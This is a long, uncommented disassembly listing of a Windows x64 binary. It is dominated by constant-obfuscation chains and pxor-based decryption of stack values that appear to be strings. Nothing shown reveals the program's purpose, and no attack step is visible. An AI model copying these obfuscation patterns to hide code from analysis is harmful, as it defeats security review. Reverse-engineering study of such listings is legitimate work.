rol ecx, 0xd6
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x268], al
movdqa xmm0, xmmword [rsp + 0x920]
movdqa xmmword [rsp + 0x10b0], xmm0
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmmword [rsp + 0x10a0], xmm0
movdqa xmm0, xmmword [rsp + 0x10a0]
pxor xmm0, xmmword [rsp + 0x10b0]
movdqa xmmword [rsp + 0x10c0], xmm0
movdqa xmm0, xmmword [rsp + 0x10c0]
movdqa xmmword [rsp + 0x580], xmm0
lea rax, [rsp + 0x580]
mov rcx, rax
call fcn.1401dbaea
xor ecx, ecx
call fcn.140262c66
movzx eax, al
test eax, eax
je 0x1403eab33
push rax
pushf
mov eax, 0xa4c3bf26
pushf
not eax
add eax, 0xb20a3f06
xor eax, 0xf6ef9382
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9e019db2
xor eax, 0xee0ffc78
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xbab43465
xor eax, 0xa32812ed
rol eax, 0xbd
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xfec74027
pushf
not eax
add eax, 0xb051ebbd
xor eax, 0x96b1f98c
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xadd85d3a
xor eax, 0xe9521368
rol eax, 0xc4
popf
jmp 0x1403e32c1
xor ecx, ecx
jmp 0x1403eab69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0xe1f1cc8a
pushf
not eax
add eax, 0x84e53256
xor eax, 0xa46e3749
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xc3b3d0b4
xor eax, 0x939cee16
rol eax, 0x86
popf
pushf
not eax
add eax, 0xcc3c9358
xor eax, 0x8554fc38
rol eax, 0x6c
popf
jmp 0x1403e32c1
movss xmm0, dword [0x140118040]
movss dword [rsp + 0x468], xmm0
movss xmm0, dword [0x140118020]
movss dword [rsp + 0x46c], xmm0
lea rcx, [rsp + 0x468]
call fcn.140164f74
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0xbd35f823
pushf
not ecx
add ecx, 0xfba2b6c0
xor ecx, 0xb5af49d0
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xa349619d
xor ecx, 0xeea3cc68
rol ecx, 0xba
popf
pushf
not ecx
add ecx, 0x91d431d5
xor ecx, 0xb84bb206
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xcc023efa
xor ecx, 0xb846d128
rol ecx, 0x46
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x99]
mov rdi, rax
xor eax, eax
mov ecx, 0xafd4cfd8
pushf
not ecx
add ecx, 0xb7a9ef32
xor ecx, 0xe2914528
rol ecx, 0x71
popf
pushf
not ecx
add ecx, 0xa5b3b3f0
xor ecx, 0xb231b552
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0x8d5b4f82
xor ecx, 0xe1435ca0
rol ecx, 0x27
popf
rep stosb byte [rdi], al
movss xmm0, dword [0x14011804c]
movss dword [rsp + 0x470], xmm0
movss xmm0, dword [0x140118048]
movss dword [rsp + 0x474], xmm0
lea rax, [rsp + 0x470]
mov qword [rsp + 0x640], rax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x270], al
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x278], al
movabs rax, 0x1aa80fab9a4003a5
pushf
not rax
add rax, 0x44548849
xor rax, 0x44c620bb
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x654b9a40
xor rax, 0x71749e68
rol rax, 0xab
popf
mov qword [rsp + 0x590], rax
movabs rax, 0xd29b7650b07471b5
pushf
not rax
add rax, 0x64c2c2ed
xor rax, 0x485197db
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x63a83909
xor rax, 0x4d2eb479
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x539def8f
xor rax, 0x55f468bb
rol rax, 0x21
popf
mov qword [rsp + 0x598], rax
movabs rax, 0x6e3aa7dec3313c7e
pushf
not rax
add rax, 0x65515daa
xor rax, 0x427ac34d
rol rax, 0xc
popf
pushf
not rax
add rax, 0x62312231
xor rax, 0x7b15db31
rol rax, 0x5d
popf
mov qword [rsp + 0x930], rax
movabs rax, 0x94f3acae42c0fa9e
pushf
not rax
add rax, 0x4c5d1912
xor rax, 0x68547b0d
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x6c3a7550
xor rax, 0x551e2f7f
rol rax, 0xe6
popf
mov qword [rsp + 0x938], rax
lea rax, [rsp + 0x9a]
mov rdi, rax
xor eax, eax
mov ecx, 0x93ccfd04
pushf
not ecx
add ecx, 0xfbdbf59f
xor ecx, 0x932d3687
rol ecx, 0x20
popf
pushf
not ecx
add ecx, 0x8bfdfe4a
xor ecx, 0x89f8711f
rol ecx, 0xb2
popf
pushf
not ecx
add ecx, 0xf921e463
xor ecx, 0xed84c5a2
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xeacff1e8
xor ecx, 0xb098a684
rol ecx, 0x96
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x280], al
movdqa xmm0, xmmword [rsp + 0x930]
movdqa xmmword [rsp + 0x10e0], xmm0
movdqa xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x10d0], xmm0
movdqa xmm0, xmmword [rsp + 0x10d0]
pxor xmm0, xmmword [rsp + 0x10e0]
movdqa xmmword [rsp + 0x10f0], xmm0
movdqa xmm0, xmmword [rsp + 0x10f0]
movdqa xmmword [rsp + 0x590], xmm0
lea rax, [rsp + 0x590]
mov qword [rsp + 0x648], rax
xor r9d, r9d
mov r8b, WSASetLastError
pushf
not r8b
add r8b, 0x20
xor r8b, 0xd3
rol r8b, 0xc9
popf
pushf
not r8b
add r8b, 5
xor r8b, 0x50
rol r8b, 0x8c
popf
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rsp + 0x648]
call fcn.14037859d
movss xmm0, dword [0x140118028]
movss dword [rsp + 0x478], xmm0
movss xmm0, dword [0x14011800c]
movss dword [rsp + 0x47c], xmm0
lea rcx, [rsp + 0x478]
call fcn.140164f74
lea rax, [rsp + 0x9b]
mov rdi, rax
xor eax, eax
mov ecx, 0x3f6b3e80
pushf
not ecx
add ecx, 0xff36cb2d
xor ecx, 0xc1cb6324
rol ecx, 0x2b
popf
pushf
not ecx
add ecx, 0xd96b49a0
xor ecx, 0xf1ef05af
rol ecx, 3
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x9c]
mov rdi, rax
xor eax, eax
mov ecx, 0x25df9fde
pushf
not ecx
add ecx, 0xbd62b607
xor ecx, 0x81c20b24
rol ecx, 0xf6
popf
pushf
not ecx
add ecx, 0xde5b31a9
xor ecx, 0x9955a161
rol ecx, 0x67
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x288], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x290], al
movabs rax, 0x3bf65c4830734066
pushf
not rax
add rax, 0x608df524
xor rax, 0x5975ff61
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x79e64d43
xor rax, 0x751cfb75
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x777bb4da
xor rax, 0x46d33f43
rol rax, 0xbe
popf
mov qword [rsp + 0x750], rax
movabs rax, 0xd753a6f2ee424be4
pushf
not rax
add rax, 0x58f2ab7e
xor rax, 0x7b96ccc9
rol rax, 0x92
popf
pushf
not rax
add rax, 0x631a3e7f
xor rax, 0x772f2c97
rol rax, 0x12
popf
mov qword [rsp + 0x758], rax
movabs rax, 0xa4b23d1a60acac38
pushf
not rax
add rax, 0x549fd6b6
xor rax, 0x6392224b
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x4137e8b8
xor rax, 0x6c3c3504
rol rax, 0x85
popf
pushf
not rax
add rax, 0x794e021c
xor rax, 0x4fe30b44
rol rax, 0xdd
popf
mov qword [rsp + 0x760], rax
movabs rax, 0x7dbfd1a573dc8a4e
pushf
not rax
add rax, 0x4555f219
xor rax, 0x40d606ee
rol rax, 0x52
popf
pushf
not rax
add rax, 0x446acbdb
xor rax, 0x549ded09
rol rax, 0xf1
popf
mov qword [rsp + 0x768], rax
movabs rax, 0x5854679049d367f1
pushf
not rax
add rax, 0x66762c3e
xor rax, 0x7b199bb6
rol rax, 3
popf
pushf
not rax
add rax, 0x51754009
xor rax, 0x62713209
rol rax, 0xd
popf
pushf
not rax
add rax, 0x5b942f2a
xor rax, 0x7d78e1d7
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x7fdcdcd9
xor rax, 0x4b8d8077
rol rax, 0xc8
popf
mov qword [rsp + 0x9f0], rax
movabs rax, 0x3df9d16ed4b0e0f2
pushf
not rax
add rax, 0x6b8d093d
xor rax, 0x7394592c
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x6b86b3ed
xor rax, 0x44dbf610
rol rax, 0x82
popf
mov qword [rsp + 0x9f8], rax
movabs rax, 0x99e38d23b38202ef
pushf
not rax
add rax, 0x4eb2eea4
xor rax, 0x764d74a5
rol rax, 0x12
popf
pushf
not rax
add rax, 0x6b02b485
xor rax, 0x7f3b3b3d
rol rax, 0x27
popf
pushf
not rax
add rax, 0x7e91cf64
xor rax, 0x465eb580
rol rax, 0x7c
popf
mov qword [rsp + 0xa00], rax
movabs rax, 0x16fd3474c40e549
pushf
not rax
add rax, 0x715c655a
xor rax, 0x57baecad
rol rax, 0x43
popf
pushf
not rax
add rax, 0x5f9aa9c4
xor rax, 0x64b5c90f
rol rax, 9
popf
pushf
not rax
add rax, 0x7acc8245
xor rax, 0x71221e77
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x5146530a
xor rax, 0x4041c6f2
rol rax, 0x3c
popf
mov qword [rsp + 0xa08], rax
lea rax, [rsp + 0x9d]
mov rdi, rax
xor eax, eax
mov ecx, 0x3f6cc1f2
pushf
not ecx
add ecx, 0x95c40f76
xor ecx, 0x92dddfa4
rol ecx, 0x4b
popf
pushf
not ecx
add ecx, 0x8fb7b7f0
xor ecx, 0xd9ba5589
rol ecx, 0xef
popf
pushf
not ecx
add ecx, 0xb1282f88
xor ecx, 0x9b06fe39
rol ecx, 0x52
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x9d]
mov byte [rsp + 0x298], al
movdqa xmm0, xmmword [rsp + 0x9f0]
movdqa xmmword [rsp + 0x1110], xmm0
movdqa xmm0, xmmword [rsp + 0x750]
movdqa xmmword [rsp + 0x1100], xmm0
movdqa xmm0, xmmword [rsp + 0x1100]
pxor xmm0, xmmword [rsp + 0x1110]
movdqa xmmword [rsp + 0x1120], xmm0
movdqa xmm0, xmmword [rsp + 0x1120]
movdqa xmmword [rsp + 0x750], xmm0
lea rax, [rsp + 0x760]
mov qword [rsp + 0x480], rax
lea rax, [rsp + 0xa00]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1140], xmm0
mov rax, qword [rsp + 0x480]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1130], xmm0
movdqa xmm0, xmmword [rsp + 0x1130]
pxor xmm0, xmmword [rsp + 0x1140]
movdqa xmmword [rsp + 0x1150], xmm0
mov rax, qword [rsp + 0x480]
movdqa xmm0, xmmword [rsp + 0x1150]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x750]
mov rcx, rax
call fcn.1401a5d17
movss xmm0, dword [0x14011801c]
movss dword [rsp + 0x488], xmm0
movss xmm0, dword [0x140118020]
movss dword [rsp + 0x48c], xmm0
lea rcx, [rsp + 0x488]
call fcn.140164f74
lea rax, [0x19852e3d3]
pushf
sub rax, 0x583edb3b
popf
mov rcx, rax
call fcn.140005330
mov rcx, rax
call fcn.1401dbaea
cmp dword [0x1401408b8], 1
jne 0x1403eb46c
push rax
pushf
mov eax, 0xea8ff85f
pushf
not eax
add eax, 0xac9e5c6f
xor eax, 0x910de37a
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xf8b601c1
xor eax, 0x856962fc
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xec5fd3b7
xor eax, 0xdd250068
rol eax, 0x12
popf
pushf
not eax
add eax, 0x869f3989
xor eax, 0xd210bfb6
rol eax, 0x3e
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xbe669762
pushf
not eax
add eax, 0x93799c5e
xor eax, 0xdb3ea676
rol eax, 0x64
popf
pushf
not eax
add eax, 0x8183e10b
xor eax, 0xaba9b83a
rol eax, 0x28
popf
jmp 0x1403e32c1
movss xmm0, dword [0x14011801c]
movss dword [rsp + 0x490], xmm0
movss xmm0, dword [0x14011802c]
movss dword [rsp + 0x494], xmm0
lea rcx, [rsp + 0x490]
call fcn.140164f74
lea rax, [rsp + 0x9e]
mov rdi, rax
xor eax, eax
mov ecx, 0x3fe4a682
pushf
not ecx
add ecx, 0xea54dc7f
xor ecx, 0x9c8360cf
rol ecx, 0xcc
popf
pushf
not ecx
add ecx, 0xdf5e75a1
xor ecx, 0x90227b84
rol ecx, 0x77
popf
pushf
not ecx
add ecx, 0x8d7d3be2
xor ecx, 0xb2e82745
rol ecx, 0x8d
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x9f]
mov rdi, rax
xor eax, eax
mov ecx, 0x9a6dd64f
pushf
not ecx
add ecx, 0x9368476e
xor ecx, 0xf3268582
rol ecx, 0xec
popf
pushf
not ecx
add ecx, 0xf3144075
xor ecx, 0x916ddcc4
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0x8bcb408b
xor ecx, 0x88da8044
rol ecx, 0x43
popf
pushf
not ecx
add ecx, 0x9b4770b8
xor ecx, 0xcdd7fc0e
rol ecx, 0x25
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x9e]
mov byte [rsp + 0x2a0], al
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x2a8], al
movabs rax, 0xef7ce69134e7f07c
pushf
not rax
add rax, 0x5a05fb63
xor rax, 0x5ff7639d
rol rax, 0x91
popf
pushf
not rax
add rax, 0x4ee40655
xor rax, 0x777475f8
rol rax, 0xae
popf
pushf
not rax
add rax, 0x5d28c90c
xor rax, 0x49960887
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x5c081f82
xor rax, 0x702653e5
rol rax, 0xd5
popf
mov qword [rsp + 0x5a0], rax
movabs rax, 0x9a28e77272aa95f1
pushf
not rax
add rax, 0x407e7ac1
xor rax, 0x790828eb
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x7d6813ff
xor rax, 0x6de86b36
rol rax, 9
popf
mov qword [rsp + 0x5a8], rax
movabs rax, 0xd96bf50b83cd925c
pushf
not rax
add rax, 0x5a037929
xor rax, 0x7a2516e6
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x704ac2e5
xor rax, 0x617d35fc
rol rax, 0x1b
popf
mov qword [rsp + 0x940], rax
movabs rax, 0x4f408115c499c525
pushf
not rax
add rax, 0x74e86945
xor rax, 0x6471f3f9
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x7652b5f4
xor rax, 0x4584dc06
rol rax, 0x1f
popf
mov qword [rsp + 0x948], rax
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x29be7720
pushf
not ecx
add ecx, 0xb3ddb71f
xor ecx, 0xbe5438a5
rol ecx, 0x48
popf
pushf
not ecx
add ecx, 0xecbbb6b9
xor ecx, 0xf0b180c1
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xa78190be
xor ecx, 0xfd40d555
rol ecx, 0xab
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x2b0], al
movdqa xmm0, xmmword [rsp + 0x940]
movdqa xmmword [rsp + 0x1170], xmm0
movdqa xmm0, xmmword [rsp + 0x5a0]
movdqa xmmword [rsp + 0x1160], xmm0
movdqa xmm0, xmmword [rsp + 0x1160]
pxor xmm0, xmmword [rsp + 0x1170]
movdqa xmmword [rsp + 0x1180], xmm0
movdqa xmm0, xmmword [rsp + 0x1180]
movdqa xmmword [rsp + 0x5a0], xmm0
lea rax, [rsp + 0x5a0]
mov rcx, rax
call fcn.1401dbaea
movss xmm1, dword [0x140118054]
xorps xmm0, xmm0
call fcn.1402df9a4
lea rax, [rsp + 0xa1]
mov rdi, rax
xor eax, eax
mov ecx, 0x60026fe0
pushf
not ecx
add ecx, 0x8543673c
xor ecx, 0xba810c3d
rol ecx, 0xb5
popf
pushf
not ecx
add ecx, 0xf682f979
xor ecx, 0x89af01b9
rol ecx, 0x99
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0xa2]
mov rdi, rax
xor eax, eax
mov ecx, 0x34712912
pushf
not ecx
add ecx, 0xda6d1834
xor ecx, 0x971aadbd
rol ecx, 0x85
popf
pushf
not ecx
add ecx, 0xb7c1bd1b
xor ecx, 0xb9696638
rol ecx, 0x40
popf
pushf
not ecx
add ecx, 0xd5642429
xor ecx, 0xf7f457b0
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0xed052f12
xor ecx, 0xe244a779
rol ecx, 0x8a
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0x2b8], al
movzx eax, byte [rsp + 0xa2]
mov byte [rsp + 0x2c0], al
movabs rax, 0x52f200db2d90ce2d
pushf
not rax
add rax, 0x7775d296
xor rax, 0x6f3f870f
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x67397159
xor rax, 0x71bf68b0
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x6cc4a004
xor rax, 0x5d6fb8c8
rol rax, 0x54
popf
mov qword [rsp + 0x5b0], rax
movabs rax, 0xb7c4579dea5c5029
pushf
not rax
add rax, 0x6ffb7b2e
xor rax, 0x6d352caf
rol rax, 0x99
popf
pushf
not rax
add rax, 0x661141ac
xor rax, 0x50f52de4
rol rax, 0x32
popf
pushf
not rax
add rax, 0x54a8e2f6
xor rax, 0x6e065c14
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x4184a00c
xor rax, 0x7e57dccb
rol rax, 0x84
popf
mov qword [rsp + 0x5b8], rax
movabs rax, 0x88678fb1aab9b7dc
pushf
not rax
add rax, 0x57b2e95b
xor rax, 0x41c3e308
rol rax, 0x49
popf
pushf
not rax
add rax, 0x70c91cbf
xor rax, 0x5159ce35
rol rax, 0xbd
popf
mov qword [rsp + 0x950], rax
movabs rax, 0x9b675155e740e5e4
pushf
not rax
add rax, 0x412235a2
xor rax, 0x5a5809fa
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x69e2c55c
xor rax, 0x6002e0c9
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x5510b78c
xor rax, 0x593a00a2
rol rax, 0x65
popf
pushf
not rax
add rax, 0x4e7318b1
xor rax, 0x4de88c28
rol rax, 0xdd
popf
mov qword [rsp + 0x958], rax
lea rax, [rsp + 0xa3]
mov rdi, rax
xor eax, eax
mov ecx, 0x6cc55a7c
pushf
not ecx
add ecx, 0xa2a174ed
xor ecx, 0xfbfe5146
rol ecx, 0xb1
popf
pushf
not ecx
add ecx, 0xf34eb05b
xor ecx, 0xc64d98c2
rol ecx, 0xbf
popf
pushf
not ecx
add ecx, 0xe2a413a0
xor ecx, 0x8f9f8fc6
rol ecx, 0x13
popf
pushf
not ecx
add ecx, 0xfcb6074f
xor ecx, 0xe51d309c
rol ecx, 0x9b
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa3]
mov byte [rsp + 0x2c8], al
movdqa xmm0, xmmword [rsp + 0x950]
movdqa xmmword [rsp + 0x11a0], xmm0
movdqa xmm0, xmmword [rsp + 0x5b0]
movdqa xmmword [rsp + 0x1190], xmm0
movdqa xmm0, xmmword [rsp + 0x1190]
pxor xmm0, xmmword [rsp + 0x11a0]
movdqa xmmword [rsp + 0x11b0], xmm0
movdqa xmm0, xmmword [rsp + 0x11b0]
movdqa xmmword [rsp + 0x5b0], xmm0
lea rax, [rsp + 0x5b0]
mov rcx, rax
call fcn.1401a5d17
jmp 0x1403ec201
cmp dword [0x1401408b8], 2
jne 0x1403ebb55
push rax
pushf
mov eax, 0xd316a8c7
pushf
not eax
add eax, 0xb74ee30f
xor eax, 0xfdb1376e
rol eax, 0
popf
pushf
not eax
add eax, 0xd58432fe
xor eax, 0x9ba12bc7
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xf3cc0549
xor eax, 0xecc2752d
rol eax, 0x80
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x92b33d87
pushf
not eax
add eax, 0x938889cd
xor eax, 0xe0d8a50a
rol eax, 0x72
popf
pushf
not eax
add eax, 0xde1e8333
xor eax, 0xc8024d67
rol eax, 0x88
popf
pushf
not eax
add eax, 0xccfa9f59
xor eax, 0xefc50268
rol eax, 0x8f
popf
jmp 0x1403e32c1
movss xmm0, dword [0x14011801c]
movss dword [rsp + 0x498], xmm0
movss xmm0, dword [0x14011802c]
movss dword [rsp + 0x49c], xmm0
lea rcx, [rsp + 0x498]
call fcn.140164f74
lea rax, [rsp + 0xa4]
mov rdi, rax
xor eax, eax
mov ecx, 0xc3a7430e
pushf
not ecx
add ecx, 0xb0fb1182
xor ecx, 0xf58b497c
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0x84eb011b
xor ecx, 0xfddae842
rol ecx, 0x30
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0xa5]
mov rdi, rax
xor eax, eax
mov ecx, 0x25814761
pushf
not ecx
add ecx, 0xc589dd23
xor ecx, 0xdf816fdf
rol ecx, 0x93
popf
pushf
not ecx
add ecx, 0xcfe12b03
xor ecx, 0xffed2eb3
rol ecx, 0x28
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x2d0], al
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x2d8], al
movabs rax, 0xa42a1f8974df2e02
pushf
not rax
add rax, 0x4e036448
xor rax, 0x6557a517
rol rax, 0x33
popf
pushf
not rax
add rax, 0x4d2a03bd
xor rax, 0x647d976b
rol rax, 0xfd
popf
pushf
not rax
add rax, 0x7e8e3e7c
xor rax, 0x7150228f
rol rax, 0x59
popf
pushf
not rax
add rax, 0x7c7dfe4b
xor rax, 0x58d80a91
rol rax, 0x93
popf
mov qword [rsp + 0x5c0], rax
movabs rax, 0x6e692ab3e6d2c415
pushf
not rax
add rax, 0x617869c0
xor rax, 0x78114a9a
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x7cf4ac86
xor rax, 0x4b87cb27
rol rax, 8
popf
mov qword [rsp + 0x5c8], rax
movabs rax, 0xad55f243d1158dd1
pushf
not rax
add rax, 0x42768855
xor rax, 0x7b013bb0
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x43b40077
xor rax, 0x559805ac
rol rax, 0xb
popf
mov qword [rsp + 0x960], rax
movabs rax, 0x3d2008324e338e52
pushf
not rax
add rax, 0x4d4594eb
xor rax, 0x5c3e050d
rol rax, 0x12
popf
pushf
not rax
add rax, 0x6472a51a
xor rax, 0x6485e7ee
rol rax, 0x12
popf
pushf
not rax
add rax, 0x716bed51
xor rax, 0x6bfdbf94
rol rax, 0
popf
pushf
not rax
add rax, 0x657ae936
xor rax, 0x4de3f433
rol rax, 0x65
popf
mov qword [rsp + 0x968], rax
lea rax, [rsp + 0xa6]
mov rdi, rax
xor eax, eax
mov ecx, 0xc8107c16
pushf
not ecx
add ecx, 0x9b05a206
xor ecx, 0xe61b97ae
rol ecx, 0x7c
popf
pushf
not ecx
add ecx, 0xba4b9f75
xor ecx, 0xa6bcb450
rol ecx, 0xaa
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0x2e0], al
movdqa xmm0, xmmword [rsp + 0x960]
movdqa xmmword [rsp + 0x11d0], xmm0
movdqa xmm0, xmmword [rsp + 0x5c0]
movdqa xmmword [rsp + 0x11c0], xmm0
movdqa xmm0, xmmword [rsp + 0x11c0]
pxor xmm0, xmmword [rsp + 0x11d0]
movdqa xmmword [rsp + 0x11e0], xmm0
movdqa xmm0, xmmword [rsp + 0x11e0]
movdqa xmmword [rsp + 0x5c0], xmm0
lea rax, [rsp + 0x5c0]
mov rcx, rax
call fcn.1401dbaea
movss xmm1, dword [0x140118054]
xorps xmm0, xmm0
call fcn.1402df9a4
lea rax, [rsp + 0xa7]
mov rdi, rax
xor eax, eax
mov ecx, 0x80b155d9
pushf
not ecx
add ecx, 0xff318268
xor ecx, 0xa58325d5
rol ecx, 0x7d
popf
pushf
not ecx
add ecx, 0xdcc6cfd4
xor ecx, 0xf8034f8e
rol ecx, 0x28
popf
pushf
not ecx
add ecx, 0xb542af11
xor ecx, 0x88ce97bd
rol ecx, 0x16
popf
pushf
not ecx
add ecx, 0xc0841326
xor ecx, 0xcdedd75e
rol ecx, 0xcb
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x2a020f54
pushf
not ecx
add ecx, 0xd7254465
xor ecx, 0xc063bdd8
rol ecx, 0x9e
popf
pushf
not ecx
add ecx, 0xe36d1259
xor ecx, 0xc40bd27a
rol ecx, 0xf3
popf
pushf
not ecx
add ecx, 0x9615caa9
xor ecx, 0x83b569ef
rol ecx, 0xa9
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa7]
mov byte [rsp + 0x2e8], al
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x2f0], al
movabs rax, 0x6185c0409f487e4
pushf
not rax
add rax, 0x7ba7356a
xor rax, 0x76270bce
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6878a31d
xor rax, 0x748d03eb
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x4fc083b7
xor rax, 0x62bc2c08
rol rax, 0xfd
popf
pushf
not rax
add rax, 0x57633fb3
xor rax, 0x773ab711
rol rax, 0x3b
popf
mov qword [rsp + 0x5d0], rax
movabs rax, 0xee10317493c6c9b3
pushf
not rax
add rax, 0x6c145f3f
xor rax, 0x4ee230be
rol rax, 0x48
popf
pushf
not rax
add rax, 0x6c903fbc
xor rax, 0x4c467fec
rol rax, 0xfd
popf
pushf
not rax
add rax, 0x452c32f2
xor rax, 0x57241ac8
rol rax, 0x7f
popf
mov qword [rsp + 0x5d8], rax
movabs rax, 0xc61b5a096fd1acff
pushf
not rax
add rax, 0x6f9c19e3
xor rax, 0x70b54eb7
rol rax, 0xe
popf
pushf
not rax
add rax, 0x781fa477
xor rax, 0x50c49bf2
rol rax, 0xea
popf
pushf
not rax
add rax, 0x59f0bed2
xor rax, 0x4c947720
rol rax, 0xce
popf
pushf
not rax
add rax, 0x6cb7ca0b
xor rax, 0x4817cbf6
rol rax, 0x4a
popf
mov qword [rsp + 0x970], rax
movabs rax, 0x4f5850111fc8d212
pushf
not rax
add rax, 0x44f284d8
xor rax, 0x7c6d54db
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x7d74138e
xor rax, 0x6b6acc8d
rol rax, 0x68
popf
pushf
not rax
add rax, 0x53401a21
xor rax, 0x411ae48b
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x736d2582
xor rax, 0x46d581e7
rol rax, 0x4c
popf
mov qword [rsp + 0x978], rax
lea rax, [rsp + 0xa9]
mov rdi, rax
xor eax, eax
mov ecx, 0xfbcdcf3a
pushf
not ecx
add ecx, 0xac1f838c
xor ecx, 0xa9c0cecf
rol ecx, 0
popf
pushf
not ecx
add ecx, 0x94a41302
xor ecx, 0xef398157
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0xd61d0050
xor ecx, 0xb11a3a02
rol ecx, 0xd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x2f8], al
movdqa xmm0, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0x1200], xmm0
movdqa xmm0, xmmword [rsp + 0x5d0]
movdqa xmmword [rsp + 0x11f0], xmm0
movdqa xmm0, xmmword [rsp + 0x11f0]
pxor xmm0, xmmword [rsp + 0x1200]
movdqa xmmword [rsp + 0x1210], xmm0
movdqa xmm0, xmmword [rsp + 0x1210]
movdqa xmmword [rsp + 0x5d0], xmm0
lea rax, [rsp + 0x5d0]
mov rcx, rax
call fcn.1401a5d17
push rax
pushf
mov eax, 0xdd0ded47
pushf
not eax
add eax, 0xb2c4465a
xor eax, 0x8b8b3673
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc09b1b5b
xor eax, 0xd88cc008
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xd7fc4d0e
xor eax, 0x8281cb09
rol eax, 0xbc
popf
jmp 0x1403e32c1
movss xmm0, dword [0x14011801c]
movss dword [rsp + 0x4a0], xmm0
movss xmm0, dword [0x140118034]
movss dword [rsp + 0x4a4], xmm0
lea rcx, [rsp + 0x4a0]
call fcn.140164f74
lea rax, [0x1a66b7176]
pushf
sub rax, 0x665768b6
popf
mov rcx, rax
call fcn.140005330
mov rcx, rax
call fcn.1401dbaea
movss xmm0, dword [0x14011800c]
movss dword [rsp + 0x4a8], xmm0
movss xmm0, dword [0x140118038]
movss dword [rsp + 0x4ac], xmm0
lea rcx, [rsp + 0x4a8]
call fcn.140164f74
lea rax, [rsp + 0xaa]
mov rdi, rax
xor eax, eax
mov ecx, 0x9bfeb017
pushf
not ecx
add ecx, 0xce8f0d6c
xor ecx, 0xa48783b2
rol ecx, 0x56
popf
pushf
not ecx
add ecx, 0x97d03319
xor ecx, 0xebce58b1
rol ecx, 0x7c
popf
pushf
not ecx
add ecx, 0xd5151923
xor ecx, 0xd3b6c9c9
rol ecx, 0xc7
popf
